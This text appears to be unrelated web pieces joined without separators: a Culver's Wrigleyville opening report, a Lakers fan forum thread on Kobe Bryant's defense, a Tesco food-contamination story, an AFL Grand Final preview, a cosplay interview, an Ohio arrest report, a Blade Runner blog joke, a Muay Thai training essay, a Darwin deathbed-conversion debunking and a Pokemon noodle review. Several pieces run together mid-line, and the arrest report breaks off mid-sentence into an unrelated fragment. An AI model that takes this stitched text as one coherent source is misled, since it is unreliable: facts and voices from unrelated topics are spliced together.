The urban setting will bring challenges, said Justin Obriecht, the franchisee who is opening the restaurant with a partner. Because of Chicago’s high property values, the restaurant’s plot will be the most expensive of any Culver’s, he said. And, it won’t have a drive-thru, which is responsible for more than 40 percent of sales for most Culver’s locations.
But Obriecht thinks Wrigleyville’s population density, and its ballgame crowds, will bring lots of customers to the restaurant. The neighborhood is also home to many college students who are familiar with Culver’s from their hometowns, he said.
To make up for the lack of a drive-thru, the restaurant will have a window facing the street, which Obriecht hopes will be popular with the neighborhood’s late-night crowd. He plans to keep the restaurant open later than most suburban locations, perhaps until midnight or 1 a.m. on weekends and game nights.
“Without that late night business, it would be hard to make the numbers work,” said Obriecht, who lives in Lakeview and runs five other Culver’s locations.
Evanston will also gain its first Culver’s at a strip mall at the corner of Howard Street and McCormick Boulevard. The franchisee, Guy Hollis, hopes to break ground within a year.
Culver’s, which was founded in 1984 in Sauk City, Wis. has more than 500 locations, mostly in the Midwest. A few of them have been in urban areas, including Indianapolis, Milwaukee and St. Paul, said co-founder Craig Culver.
The company has had locations in the Chicago suburbs for about 15 years, he said. It has wanted to build a location in the city for a long time, but has had trouble finding the right spot.
“There just isn’t any space, and there’s the expense. It’s expensive wherever, but in Chicago it’s very expensive,” Culver said. “You have to sell a lot of Butter Burgers to pay for that space.”
For Obriecht, the decision to bring the restaurant to Wrigleyville wasn’t easy. He already had enough work from his other franchises.
But his wife urged him to open a location in the city and he decided that the restaurant would provide him with a way to give back to his neighborhood.
“I’ve lived in the city for six or seven years, and the thing I don’t see very often is sincere, genuine hospitality,” he said. “That’s what I hope to bring.”
rwebner@tribune.com
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PurpleHayz
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Posted: Wed Jan 09, 2013 5:58 pm Post subject: Omnibus Kobe Defense Discussion Thread KOBE is the #1 reason why our defense is so bad! The guy simply doesn't play defense anymore. This game is a great example.... as soon as Kobe came back in the Spurs started getting wide open shots!
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Last edited by PurpleHayz on Wed Jan 09, 2013 6:05 pm; edited 1 time in total
jackthunder
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Posted: Wed Jan 09, 2013 6:00 pm Post subject: agreed. manu ginobli having a field day
Atticus
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Posted: Wed Jan 09, 2013 6:00 pm Post subject: Don't know if you guys are watching the ESPN feed but the commentators cannot believe Kobe's defense right now lol. He is standing around staring at the ball while Ginobli and Leonard repeatedly go back door for dunks.
Kobe is supposed to be a leader on this team. His defense is not leading by example right now.
Farazz
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Posted: Wed Jan 09, 2013 6:00 pm Post subject: Its not even something like lack of foot speed or old age...its just simple lack of attention and laziness
rpadma12
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Posted: Wed Jan 09, 2013 6:01 pm Post subject: he is playing poor defense.. although when Kobe comes back, Spurs' starters came back. It doesn't excuse him losing people off the ball though.
32
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Posted: Wed Jan 09, 2013 6:01 pm Post subject: Probably fatigue. He is playing too many minutes.
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Peregrine01
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Posted: Wed Jan 09, 2013 6:01 pm Post subject: I wouldn't say #1, but wow his defense has been terrible tonight. He got caught on back door cuts and leak outs on 5 possessions in 8 minutes in the second quarter. Plus he played that pick and roll on Duncan leaving Clark high and dry.
PurpleHayz
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Posted: Wed Jan 09, 2013 6:01 pm Post subject: If I was Dwight I would be pissed to. Kobe only wants to play offense.
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jackthunder
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Posted: Wed Jan 09, 2013 6:01 pm Post subject: this is one of the few times where I've seen kobe just not fully engaged in the game. seems like his head is elsewhere
Kobe2Clark
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Posted: Wed Jan 09, 2013 6:03 pm Post subject: He needs to concentrate on his man and stop looking back at the ball
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PurpleHayz
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Posted: Wed Jan 09, 2013 6:03 pm Post subject: Peregrine01 wrote: I wouldn't say #1, but wow his defense has been terrible tonight. He got caught on back door cuts and leak outs on 5 possessions in 8 minutes in the second quarter. Plus he played that pick and roll on Duncan leaving Clark high and dry.
It's the same thing every game from him. Considering he's our superstar that is unexceptable.
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pkflyers
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Posted: Wed Jan 09, 2013 6:03 pm Post subject: 32 wrote: Probably fatigue. He is playing too many minutes.
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kobemania3-16
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Posted: Wed Jan 09, 2013 6:04 pm Post subject: he was holding his back the whole half and got a longgggggggg rest.
his defense bad 2night but he is not the number 1 reason that every team coached by MDA sucks on defense.
Air Apparent
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Posted: Wed Jan 09, 2013 6:04 pm Post subject: Number 1? Ridiculous. This game he's sure ain't playing defense but for the season? Stupid. Op must be itching for a bad game to start this bleep thread
Last edited by Air Apparent on Wed Jan 09, 2013 6:05 pm; edited 1 time in total
PurpleHayz
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Posted: Wed Jan 09, 2013 6:05 pm Post subject: pkflyers wrote: 32 wrote: Probably fatigue. He is playing too many minutes.
That's a cop out. He's a space cadet on defense. He always loses sight if his man and then wants to blame it on somebody else.
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thesource
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Posted: Wed Jan 09, 2013 6:05 pm Post subject: Do you guys remember the game San Antonio won in LA with a last second shot and they said after the game Popovich knew that Kobe would play off his man?
Popovich is abusing Kobe tonight. His man is cutting everytime he turns around.
Kobe Bryant is a no show on defense tonight. He knew it too walking out at halftime.
He better come off better in the second half.
ForrestHump
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Posted: Wed Jan 09, 2013 6:05 pm Post subject:
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Smh, Kobe 39 MPG at 34 yrs old (40+ mins for like 12+ games in a row) and you expect him to be perfect? He will allow points but he makes up for it on the offensive end._________________
lalakersfan88
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Posted: Wed Jan 09, 2013 6:05 pm Post subject: when the team's star player doesn't play defense, the rest of team doesn't follow the lead.
Magic Johnson was right, Kobe is not a great leader right now.
Kobe always says that he leads by example, but his example right now is just horrible.
K2
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Posted: Wed Jan 09, 2013 6:05 pm Post subject: 32 wrote: Probably fatigue. He is playing too many minutes.
He's averaging 39 this year.
They showed a graphic that he averaged 38 last year. Averaged 33 with Phil.
Hmm. If anything, Phil watched Kobe's minutes.
lakez34
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Posted: Wed Jan 09, 2013 6:05 pm Post subject: Kobe has been bad on defense for the majority of the season. Today, he looks tired, both offensively and defensively. He at least acknowledged messing up on those two possessions (both backdoors) which was different than normal. I get the sense that he's tired. I was glad that he was able to get a 5 min rest to start the 2nd qtr. He needs more of those throughout games, whether or not we're losing.
lakerskobe
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Posted: Wed Jan 09, 2013 6:05 pm Post subject: PurpleHayz wrote: pkflyers wrote: 32 wrote: Probably fatigue. He is playing too many minutes.
That's a cop out. He's a space cadet on defense. He always loses sight if his man and then wants to blame it on somebody else.
Play 40mins a game and lets see if you don't get fatigue.
fan4life
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Posted: Wed Jan 09, 2013 6:06 pm Post subject: He's been bad all season on D, the ball watching, poor rotations, etc.,
Fatigue wasn't an issue earlier int the season, just poor attention to detail and laziness that continues.
SilverBullet
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Posted: Wed Jan 09, 2013 6:06 pm Post subject: Kobe in the last 20 games:
1/8 41 minutes
1/6 42 minutes
1/4 44 minutes
1/1 42 minutes
12/28 31 minutes
12/26 44 minutes
12/25 44 minutes
12/18 43 minutes
12/16 40 minutes
12/14 44 minutes
12/13 44 minutes
12/11 41 minutes
12/9 43 minutes
12/7 44 minutes
12/5 34 minutes
12/4 35 minutes
12/2 39 minutes
11/30 37 minutes
11/27 44 minutes
Last edited by SilverBullet on Wed Jan 09, 2013 6:06 pm; edited 1 time in total
lakerfan4life
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Posted: Wed Jan 09, 2013 6:06 pm Post subject: He's looked sluggish the last two games. Dude is 34 playing damn near 40 minutes. Pick your poison. I'm sure he can play better D but we will need scoring from somewhere else
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rpadma12
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Posted: Wed Jan 09, 2013 6:06 pm Post subject: Farazz wrote: Its not even something like lack of foot speed or old age...its just simple lack of attention and laziness
It just does not feel like Kobe's heart is in this season at all. I miss the old Kobe who would get upset and take things seriously. He is way too loose and his killer mentality is lacking - i.e., figuring out a way to break down a team, not take long jumpshots and no defense. He needs to get off Twitter and understand his passion for the game is the #1 way for him to lead as he is a leader by example, not by words.It’s not entirely clear what the brown substance is (Picture: Mercury)
Whatever this is, it doesn’t look all that appetising.
A woman fears she may have been the victim of a dirty protest after finding a brown substance in a spinach and egg protein pot from Tesco.
Lucy Barfoot, who felt a gritty texture when she bit into it, thinks it might be cat faeces.
Tesco describes the ingredients of the £1.50 protein pots as being ‘Free Range Hard Boiled Egg (86%), Spinach (14%)’.
But looking at the pictures, this particular pot was 100 per cent gross.
Lucy Barfoot, 29, bit into an egg and got a gritty sensation (Picture: Mercury)
Ms Barfoot said: ‘You would think machines in the Tesco factory would have detected it because it has such a different texture to spinach.
‘That makes me think it could be a bit of a dirty protest by a staff member. Or maybe they were tired of cleaning spinach and wanted a way to make the total weight up.
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‘Think how much spinach I was missing for the contents of the pot to weigh the same as it should but with a lump of whatever it is in there? I’ve been ripped off.’
She added: ‘It might be soil but it is very unfortunately shaped. I was a bit disturbed and really disappointed because I was so hungry. All I wanted was a nice, healthy snack.
Here’s what it should have looked like
P.s. there’s only one egg in the pot – it’s chopped in half
(Picture: Tesco) (Picture: Tesco) (Picture: Tesco) (Picture: Tesco)
‘It might be adding protein to the protein pot but it’s not exactly appetising. The thought of it actually being a turd completely put me off my lunch.’
A Tesco spokesman said: ‘We set ourselves the highest standards for the safety and quality of our food.
‘We have asked the customer to return the item to the store so we can investigate how this may have happened.’In the lead-up to Saturday's Grand Final I'll be posting a new article each day previewing the big match. These articles will use some of the graphics and tools I've introduced over the last month to compare the Swans and Dogs seasons to date and make some observations about where the game may be won and lost.
On Tuesday, I had a look at the unique way each team defends. Yesterday, I retraced each club's season and saw the matches and players that got them to the big dance. Today I look how both sides can kick a winning score.
Sydney Have the Guns to Kick a Big Score
Sydney have averaged around 2-and-a-half goals a game more than the Dogs this season, so it won't surprise anyone to hear the Swans have the upper-hand in this part of the battle. However, I think it's important not to just declare "Sydney Forwards = Better" and leave it at that, but rather to look at some of the structural differences between the two sides.
One way to do this is to look at each side's shot heatmaps, similar to the defensive shot heatmaps, and further investigate any patterns that arise. HPN did this sort of thing with Sydney and Geelong just last week.
A slightly more messy, but nevertheless interesting, way of determining these differences in structure is to look at which players contribute the most often to their team's scores, their Score Involvements.
This graphic shows every Score Involvement from Sydney's top-6 most involved players. The first thing that jumps out when looking at this is just how productive Lance Franklin actually is. I guess that's what 9 years and $10 million buys you.
Once you get past Buddy, you're met with five players with near identical production. These five combine to form that great Sydney midfield you keep hearing so much about. Four of these five are in the top-10 for both contested possession and disposals, they're all in the top-50 for clearances, and they all sit firmly in the top-25% of midfielders by Player Ratings.
Kennedy is probably, stats wise, the best of the bunch, but it's hard to draw too many differences between them. They are all elite players. This is undoubtedly a reason why Luke Parker didn't make a closer contest of Monday's Brownlow Medal.
Moving past these top-6 players, Sydney have a pretty versatile list of players getting involved in scoring. Isaac Heeny (Avg. 5.6 ScoInvs), Ben McGlynn (5.6), Kurt Tippett (5.8) are all forward-line faces you would expect to be getting involved in the goals. However, the Swans are a clear No. 1 in the comp for rebound 50s, and good contributions from Callum Mills (3.9), Dane Rampe (3.2) and Aliir Aliir (2.8) are testament to this.
Sydney play a very robust brand of footy centred around stoppages. Their skilled midfield tries to win the contested ball and immediately set up scoring chances. If they fail to do this, their defence holds shape, shuts down opportunities and patiently waits for a chance to move it back up to the other end.
The Western Bulldogs Spread the Load
Here's what the same graphic looks like for the Dogs:
Obviously there are fewer lines on this graphic simply because the Dogs have fewer scores. Looking past that, notice that two of their top-6 average contributors (min 10 games) will not be playing this Saturday. Mitch Wallis is out with a broken leg and Koby Stevens looks to be halfway out the door already after falling out of favour with Luke Beveridge.
Bontempelli is clearly the crucial element of the team. Even after removing his direct goals and assists, if you consider that he's the Dogs' best contested ball winner, it's clear to see why everybody is so excited about the 20 year old.
Jake Stringer is the only traditional forward of the bunch, and even he spends a fair bit of time setting things up from defence. This is indicative of the Dogs as a whole. Look at some of the players who just missed this top-6 list: Jack Macrae (5.6), Tom Liberatore (5.5), Tory Dickson (5.4), Lachie Hunter (5.3), Toby Mclean (5.3), Liam Picken (5.2).
What worries me is that there is not enough variation there. All of these players are chipping in with good contributions, but they are all midfielder type bodies that may drift forward from time to time. I'm certainly not the first to point it out, but the Dogs could really benefit from a firing Tom Boyd or Stewart Crameri.
As the finals so far have showed us, the Dogs are a smart club and they play to their strengths. They like to swarm the ball hard and keep the contest in the midfield, whether the Swans will let this happen will be very interesting to see.
How Do These Styles Fare Against Each Other?
The more I look at Sydney, the more I see a very accomplished and complete AFL "team". They have some excellent defenders with an excellent defensive structure, they have an all-star midfield that would still pick apart pretty much any other in the game, and they have the most naturally skilled forward in the comp supported by some big bodies and experienced crumbers.
The more I look at the Dogs, the more I see a team of young guys who are all individually very very good at footy. They have managed to put on three marvelous displays over the last three weeks and the quality of their players and their game plan have got them over the line. However, I see them lacking a bit of structure. It may be that I haven't watched enough of them this year to get a really good grasp of their style, but on the face of it I see a team full of players that can be chucked on the ball at any time, but may not be best suited for hard and fast roles.
This may well be an intentional tactical and recruitment decision by the Dogs. Caleb Daniel was passed up by other teams as they saw him as too small to play a traditional role. In his short career so far he has shown that may not really matter.
There's a certain magic in the air around all of Melbourne this week and the Dogs' story is no doubt remarkably bonding for those involved. Who knows, maybe this team of young guys will be able to play above themselves one more time.
Check back tomorrow for my last preview before the big game.
Follow me on Twitter @figuringfooty.Cosplayer Of the Week: Ninjah Kitty
As our Geek Lyfe family continues to grow it’s always great fun to uncover more talented UK cosplayers to introduce to our community. It was actually through watching the Studio Ghibli film Princess Mononoke that I started thinking about cosplays inspired by the studio. This was how I stumbled across Ninjah Kitty‘s fantastic skills and she was very obliging in letting us interview her! Although Ninjah Kitty does a range of cosplays from film and anime, I would say my favourite has to be Princess Mononoke – the attention to detail definitely makes it!
The Geek Lyfe: There may be a few Geek Lyfers who have not seen your work before, would you be alright introducing yourself?
Ninjah Kitty: Hello everyone, my name is Ninjah Kitty! I am a cosplayer based in Hertforshire, and attend varied conventions based mainly in London.
TGL: How long have you been into cosplay and what led you down this path?
NK: I have been cosplaying for roughly 5 years now, and I found out about it through my obsession of anime. After attending my first ever convention in 2011, I have always had a strong passion for dressing up as a character. It has been
a big part of my life, as it developed my confidence and personality.
TGL: What has been your favourite moment?
NK: The best part about being in cosplay is when people approach you for pictures and want to talk to you about how you made your costume. My favorite moment was when I was at a convention and a young girl came up to me, as she was so intrigued in my costume. I’m sure that she didn’t know who Princess Mononoke was; however I loved how curious she was to see someone covered in fur, with a large spear.
TGL: What was the worst day/experience for you in your cosplay career, what happened, and how did you deal with it?
NK: My worst cosplay experience has to be at London MCM Comic Con last year. I hadn’t placed my Princess Mononoke mask on my head properly and after being at the con for 5 minutes, it fell off. This resulted in the clay mask breaking in half and I then spent the whole day trying to putting it back together again, but it unfortunately didn’t work.
TGL: When you aren’t doing this, what do you do in your spare time?
NK: I am currently a first year student at uni, studying Costume design in West Sussex. The course has been great so far, and it should help me with a future career in theatre or film; as well as improving my skills in making cosplay.
TGL: What geek medium (Video Games, Comic Books, Novels, Movies etc.) has made the biggest impact on your life and why?
NK: I’m a HUGE anime fan, and I have been completely addicted for many years! I find the animation really appealing to me, as well as its interesting and random story lines. Occasionally, I will also get out my old Pokemon games on my Gameboy and Nintendo DS. Pokemon is my childhood, and I’m still madly in love with it today!
TGL: You are sent into a dystopian future from which there is no return. Which previous costume do you use and take the powers from, to survive and why?
NK: I’d probably have to go with my Nui Harime cosplay! Even though the costume isn’t very practical due to the 6 inch boot heals, she is pretty much invincible. Her large scissor blade would be very handy to chop down any obstacles.
TGL: Do you have any projects in the near future we should be excited to see?
NK: Due to uni I haven’t been working on anything just yet, but I do have many future cosplay plans! I hope to be cosplaying Kiki from ‘Kiki’s Delivery Service’, and hopefully I will start working on an armour based cosplay linking to a Pokemon gijinka, or a game from my childhood. I like to keep people wondering about what I do next, so it’s more of a surprise when I reveal my new cosplay!
TGL: What advice do you have for any aspiring cosplayers out there?
NK: My advice would be to just go out there and do it! It doesn’t matter if you can make a costume, buy a costume, or even if you think that it won’t look great, just go ahead and do it. I think it’s best to just do what you want to do, and not worry about what others think, and that’s where you will build your confidence. If you’re struggling to find out what you want cosplay, then look at others for inspiration! When I look at other cosplayers, they really inspire me to do better and push me to achieve more.
TGL: Out of the costumes you have done in the past, which one has been the most difficult and why?
NK: The most difficult one has got to be a cosplay that I made for one of my good friends. This was one of the first props that I had ever made from scratch, and it took me around an entire year to make! The hobby horse prop was mainly made out of expanding foam, which ended up taking ages to carve. This prop is around 5ft 3’ tall from the game ‘Alice: Madness Returns’, and its pretty light for its size. I recon the paint job on this took the longest overall, as I decided that painting it with a paint brush rather than spray painting it would be faster. Although, it ended up looking way more detailed and defined when finished! If you want to see progress images of the prop, you can find them on my Facebook page.
We want to give a huge shout out to Ninjah Kitty for taking the time to answer our question! Please go and spam her social media with love because she deserves every single ounce of it!
Cover photo by: Petits Pois Photography
First Photo by: https://www.facebook.com/martinsiggersphotography
Second Photo by: https://www.facebook.com/progenitorphotography
Third photo by: https://www.facebook.com/RossSiggersPhotographySOUTH EUCLID, Ohio -- A Cleveland man who was arrested for the 111th time on Tuesday shed his pants while fleeing from South Euclid police, according to an arrest report.
Nathaniel Ferguson, 49, faces theft charges after he reportedly stole about $52 of toothpaste from Walgreens on Mayfield Road. Lorenzo Turner, a 53-year-old Cleveland man, was also arrested after police said he gave Ferguson a ride to help him evade officers.
Police said Ferguson went into Walgreens about 2:15 p.m. and concealed items under his clothes. A store employee chased him as he ran through several backyards and climbed fences, reports show.
An officer on foot caught sight of Ferguson as he entered the passenger's seat of a Dodge Caravan on Mayfield Road, according to the report. Police pursued the car until it stopped near Edmund and South Green roads. Investigators found the toothpaste and Ferguson's jeans in the backyard of a Sheffield Road home. The pants had a white rope tied to the waist area to help hide the stolen goods, police said.
Police found a crack pipe and an open bottle of liquor in Turner's car. He is charged with failing to comply with a police officer's order, |
opportunity – and wasted resources – for the creation of added value and jobs for the concerned regions.”It’s April 10, 2017, and you know what that means. Yes, it’s the 276th anniversary of the Battle of Mollwitz (everybody knows that), but it also happens to be Leon Kowalski’s birthday. Well, Leon’s inception day to be precise. Who’s Leon Kowalski? He’s a replicant from the classic 1982 sci-fi film Blade Runner.
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For those of you who haven’t seen the film, Blade Runner stars Harrison Ford and takes place in the utopian world of 2019. Ford plays a blade runner—someone tasked with hunting down and “retiring” rogue replicants (humanoid robots) like Leon.
Leon is the first replicant we see in the film. He’s being given a Voight-Kampff test, which allows humans to be able to tell the difference between replicants and other humans.
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Here in the year 2017 we have similar tests, but they don’t have cool names like Voight-Kampff and they’re given to humans much more regularly than they are in the 1982 film.
Leon eventually liberates himself from his human captors (spoiler alert) but sadly he meets a grisly end. (Despite being a more utopian and optimistic vision of Los Angeles in the future than it is today, Blade Runner does have its moments of violence.)
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The film is set in 2019, so Leon is just two years old, having been created on April 10, 2017. Happy inception date Leon! Stay safe out there and watch out for blade runners!An enormous vinyl poster of the moment in the ring when PTT won the Omnoi Isuzu tournament – a giant faux key in his hand to represent the truck he won and a cardboard sign reading 1,000,000 Baht for his prize money – hangs on the far side of our training ring. The poster is so big that it has blocked off most of the breeze that occasionally makes its way into the gym and also holds in the light from the bare bulbs just under the rafters of the ring. It is weighed down at the bottom corners, kept from flapping by pairs of boxing gloves. PTT is the superstar of the gym, the handsome, young, success story that is literally larger-than-life as a backdrop to all the young boys in their own “come up” within those ropes. With the sun setting, the white border of the vinyl poster seems to glow.
Inside the ring the smaller boys grapple and throw one another onto the ground in what amounts to clinch training for little kids. Podee is 11 years old and the most experienced of the bunch, probably 100 fights all told, but he’s still small and pudgy so he’s lazily grappling with a beginner near his size. Two more boys, probably each about 8 years old, are clashing their thin limbs into each other with twice as much glee as there is skill to what they’re attempting. But this is how you learn. The real focus of the action in the ring is Sun. He’s probably about 13 years old, tall and lanky with a kind of grasshopper frame. Sun has fought a handful of times at the bar, which are only 3 round fights but it’s where lots of the younger kids get their experience before venturing into festival or stadium fights. Sun has good focus. He obediently follows direction and commits himself to the endless counts of pushups and pull-ups when the trainer no longer offers attention. A lot of boys will cheat on the conditioning because trainers don’t watch. Not Sun though; if there’s debate over whether the count was at 98 or 100, he’ll do a couple extra just to be sure.
The head of the gym and my own trainer, Kru Nu, is fiddling with his phone to set the timer, then sets it in a plastic bottle that’s been cut into a holder for the phone and hangs high on a pillar above the ring. Kru Nu turns around and slips the Thai pads over his forearms, making a “ah-ha-haaaw,” sound to indicate the start of the round. It’s a goofy sound. He thinks it’s hilarious. This is kind of a magical moment to itself because Sun is a beginner. Most of the time the other kids will hold pads for him because he’s just trying to get his coordination down. Kru Nu offers instruction and correction when the other kids are holding, but to have Kru Nu actually holding the pads is a treat for Sun. It’s also a nightmare, I can attest from my own experience, because Kru Nu is absolutely the best and hardest padman I’ve ever met. Immediately, Sun realizes he’s in for something he wasn’t expecting. Kru Nu is whacking his sides with the flat front of the pad when he holds his arms out for a block. He also whacks him with the pads when his guard is solid, but the impact knocks Sun off-balance for a moment. It’s intense. It makes you feel like there’s no chance to breathe and a 4 minute round can feel like eternity.
I’ve been here, many times. The impact from the pads doesn’t cause any damage, but it stings a bit – mostly it’s shocking to your brain and it gets you in a state of panic; you stop breathing. You get angry. As you fatigue from not breathing, your anger might start to bring you to tears. That’s what’s happening to Sun now. He’s actually crying, you can hear it more than you can see it because he’s still moving. He’s responding and every now and then the anger expresses itself in a particularly powerful kick. Kru Nu is 70 kilos, Sun is maybe 35 kg, so when Sun tries to teep the trainer off of him – which is a great move, actually – he just ends up launching himself backwards. He’s frustrated, but he keeps coming back and trying to move forward. And Kru Nu is laughing, not mockingly but really trying to contrast what Sun must be feeling as he is overwhelmed. From Sun’s experience, this feels like a real fight; watching from the outside you can see the control Kru Nu has over everything he’s choosing to challenge Sun with. I’ve felt like I was being pummeled and then watched video and seen how slow and controlled what Kru Nu is actually doing is. The young boys in the ring have all stopped and are staring at Sun, because everyone knows he’s crying (photo above). A few of the men around the ring mutter about how it’s such a shame, but I think he’s brave. I think this because to keep moving when your already sobbing is pretty awesome. It takes a lot of heart to keep going when you’re breaking, to keep it in the present instead of just being broken.
It goes on like this for a full 4 rounds and at the end of that last round the bell sounds and Kru Nu, in his style, ignores the timer and yells for Sun to do 20 kicks on each side. He’s totally exhausted. Sun’s kicks are miserable and slow but Kru Nu yells out the count so everyone can hear. One side goes by. The next side has a hiccup in it, somewhere around 9, Sun takes too long with his kicks and the count starts over at 1. He’s so furious by this that his kicks speed up and he powers through the last 20 with fury. He gets no pat on the back, no word of acknowledgement, certainly no “good job.” Kru Nu just walks away and puts his pads on the floor of the ring. That’s how it goes – you’re expected to get through, you don’t get praised for it. Not to your face, anyway. Sun drops his gloves to his sides and walks over to his father, who has leapt up onto the ring and is pouring water from a bottle into his son’s mouth, his head tipped back and mouth open to catch the water like a baby bird. Sun steps away from his father, he is alone for a second. Podee, the 11-year-old with the most experience, hurries over to Sun and puts one hand on his back and one on his stomach, which he kind of half-presses. This is what a corner would do in a fight, rub the stomach to get rid of any cramping and get the breathing steady. But Podee is mostly just touching Sun, giving him contact in the context of a cornerman. It’s comforting, but it looks like how you tend to a fighter. The other boys stop their clinching and follow suit, running over to Sun so that they can join in on minding the fighter between rounds. They rub water on his legs, this little collection of kids around a much taller kid, and they’re all playing their parts. Sun even acts a bit like a fighter would, somewhat ignoring all the hands on him and vaguely ordering Podee around when his legs are being stretched. As a 13 year old, Sun technically has some status over the 11 year old Podee and 8 year old gromits all around him. His tears are being sucked back as he catches his breath and calms down.
Here’s why I was so taken by this moment. What Kru Nu was doing with Sun is how you make a fighter. You force them to push and push, even when they’re breaking, even when they’re about to collapse. You test their minds and hearts through trials of the body. At the end of the grueling session, when put to it the answer to why Sun was crying is that he was overwhelmed, but the reason is just that he was tired. You can recover from being tired; you can ignore being tired the way you can ignore tears. It was embarrassing for him to cry, but he kept going anyway. And at the same moment that you’re building a fighter you are also building all the support he has around him, the way Podee leapt to his role as a cornerman, as support, was absolutely beautiful. And the way the little kids who don’t have any experience in the corner yet ran over to help and follow Podee’s lead is awesome – truly awesome – because they are learning how to tend to their teammates. It’s part of training but at the same time it’s real. This moment stood out from hundreds of thousands of other moments I’ve witnessed at the gym, it even stood out despite the fact that it’s something I’ve experienced for myself countless times. It stands out even though what Podee and Sun’s father did at the end of the rounds to recover the fighter is absolutely mundane in the world of Muay Thai. But it seemed to illustrate for me a deeper understanding of this whole process. This, right here, is the reason I can show up to a festival fight in the middle of nowhere, where I know absolutely nobody and still get someone to work the corner for me. Because little kids know how to tend to a fighter; because all I need is for someone, anyone, to dump cold water on me between rounds but what you get along with that is little men who connect to the spirit of Muay Thai, of community and support. This whole display of Sun in the ring with Kru Nu and the little kids all around, the enormous poster of PTT on the far side as an example of someone who succeeded through the exact same process… this is the making of men, in the ring, in the dimming light, in the countless hours.
You can read more of my articles on my gym, Petchrungruang, here
You can support this content: Sylvie von Duuglas-Ittu on PatreonIt has been widely held among many sincere and well-meaning Christians that Charles Darwin on his deathbed not only renounced evolution, but also accepted Jesus Christ as his savior. The tale of this deathbed conversion has been passed down over the years as fact. This “event” has even been used as “evidence” that evolution is false. The overzealous have, at times, boldly proclaimed, “See—even Darwin knew that this theory was not true!”
Early Reports
What is the basis for this story? As often as it is repeated, there must be credible evidence that these events actually took place, right? Surely, the tale would not have continued though the years if it were a lie? Sadly, when evidence is sought, there is little to support this story.
Charles Darwin died in April 1882 and was buried in Westminster Abbey. Within days of his death, reports of a conversion experience began to circulate. The first report supposedly came in a sermon preached in South Wales by a gentleman identified as “Mr. Huntingdon.” Some weeks later there surfaced a report about a letter sent to John Eadie, a divinity professor in Glasgow, in which Darwin indicated, “He can with confidence look to Calvary.”1 Curiously, when examined, Darwin’s existing correspondence (which totals over 14,000 letters) contains no communication between these two men.2
Lady Hope
The most often cited evidence for the alleged conversion of Darwin comes from a woman known as Lady Hope. She was born Elizabeth Reid Cotton in December 1842 and was the daughter of General Sir Arthur Cotton. She and her father were active evangelists in Kent, very near Charles Darwin’s home. In 1877, she married Admiral Sir James Hope and thus became Lady Hope, a title she continued to use even after remarrying subsequent to Sir James’s death a few years later.3
While traveling in America in 1915 she attended a conference in East Northfield, Massachusetts. While there she apparently told the story of a visit she had with Darwin before the scientist’s death. She recounted this tale during a devotional service and was later persuaded to write an account of this visit, which was then published in the Watchman-Examiner, a national Baptist magazine, on August 19, 1915.4
Here, Lady Hope claimed to have visited Darwin on an autumn afternoon. She noted that Darwin had been bedridden for several months before his death, and at the time of her visit she found him sitting up in bed. Lady Hope indicated that Darwin was at the time reading the Bible, which she claimed he was always studying. When asked what he was reading he replied, “Hebrews... the Royal Book.” Darwin also supposedly commented, “I was a young man with unformed ideas.”
Lady Hope further claimed that before her departure she was asked by Darwin to return and speak to his servants in his summerhouse. When asked about the subject on which she should speak, Darwin was said to have replied “Christ Jesus!”
What Really Happened?
When the full text of the report is examined, there are many inconsistencies that make the story untenable.
Unfortunately, when the full text of the report is examined, there are many inconsistencies that make the story untenable. While it is possible that Lady Hope did visit Darwin’s home in late 1881, this was almost seven months before his death.5 He was certainly not bedridden for six months before his death. Further, there was nothing to indicate that he was always studying the Bible.
On the Down House property, there was a small summerhouse, but it was too small to accommodate 30 people. There is nothing in his writings to indicate that Darwin ever asked anyone to speak about “Christ Jesus.”
Further, it is fascinating what Lady Hope’s story does not say. It does not say that Darwin renounced evolution. It merely says that Darwin speculated over the outcome of his ideas. He never backed away from evolution. Nor does the Lady Hope story say that Darwin actually became a Christian. The story, even if true, merely claims the Darwin was reading the Bible and made a statement about Christ. Nowhere is there a claim of a saving relationship with the Savior.
As soon as this story became public, the denials from Darwin’s family began (as they did after every supposed “conversion story” became known). In a letter to James Howe, Darwin’s son Francis wrote in 1915: “He [Darwin] could not have become openly and enthusiastically Christian without the knowledge of his family, and no such change occurred.”6
In a letter dated May 28, 1918, Francis again writes: “Lady Hope’s account of my father’s views on religion is quite untrue. I have publicly accused her of falsehood, but I have not seen any reply.”3
Darwin’s daughter Henrietta wrote in 1922: “I was present at his deathbed. Lady Hope was not present during his last illness, or any illness.... He never recanted any of his scientific views, either then or earlier.”7
Conclusion
Beyond these denials, if the tale were true, why did Darwin’s wife Emma not rejoice in this? She was always troubled by what she perceived as the godless nature of his views. If he indeed repented, why did she not make this known? Also, if the story were credible, why did Lady Hope wait 33 years before relating it, and even then, relating it in a country across the ocean?
Given the weight of evidence, it must be concluded that Lady Hope’s story is unsupportable, even if she did actually visit Darwin. He never became a Christian, and he never renounced evolution. As much as we would like to believe that he died with a saving knowledge of Jesus Christ, it is much more likely that he didn’t. It is unfortunate that the story continues to be promoted by many sincere people who use this in an effort to discredit evolution when many other great arguments exist, including the greatest: the Bible.Here’s another one from the folks at Record China news in Japan – thank you! My son is a really big fan of Pokemon. He’s got every one’s name, what they evolve into and all Pokemon lore stuffed in that PokeDex brain of his! If any of you reading have kids that like Pokemon, you know of what I speak. Well, I’ve wanted to get some Pokemon noodles for him and this is the first! I know there are more out there and hopefully I’ll find them sooner or later! Let’s check it out!
Here’s the lid (click image to enlarge) – note the little Pikachu and Tepig kamaboko!
The side panels (click to enlarge).
A little bonus?
A little trading piece! Andy has informed me that the Pokemon on the front is called Glaceon, the ‘fresh snow’ Pokemon. It’s an ice type and evolves from Eevee. It’s from the Sinnoh region, but Eevee is from Kanto region.
The noodle block.
Here’s all the seasoning and solid ingredients from the bottom of the cup. Pretty rad kamaboko!
Here’s the Pokemaniac himself! Also got a neat little Pokemon bowl from the Record China folks – it’s smaller than expected but it’s definitely fun!
Finished (click image to enlarge). Unadulterated. The noodles are pretty decent actually – thin, noodles in a cup fare that had been pre-seasoned. Not top of the line but far from bottom of the barrel. The broth is nice – soy sauce flavor with nice rounded flavor. The corn and green onion’s alright and the kamaboko? Well, it’s a little on the rubbery side, but that’s how kamaboko is honestly. I would say they’re on the better than most side of dehydrated kamaboko. 3.5 out of 5.0 stars. UPC bar code 4901734016458.
[AMAZONPRODUCTS asin=”B000WD3XBI”]We got Andy one of these and he’s been playing with them for a long time. It’s a really good deal even if there are duplicates, since the cards at the store are pretty expensive. It saddens me that they don’t put that crappy bubble gum we used to get in baseball cards anymore.[/AMAZONPRODUCTS]
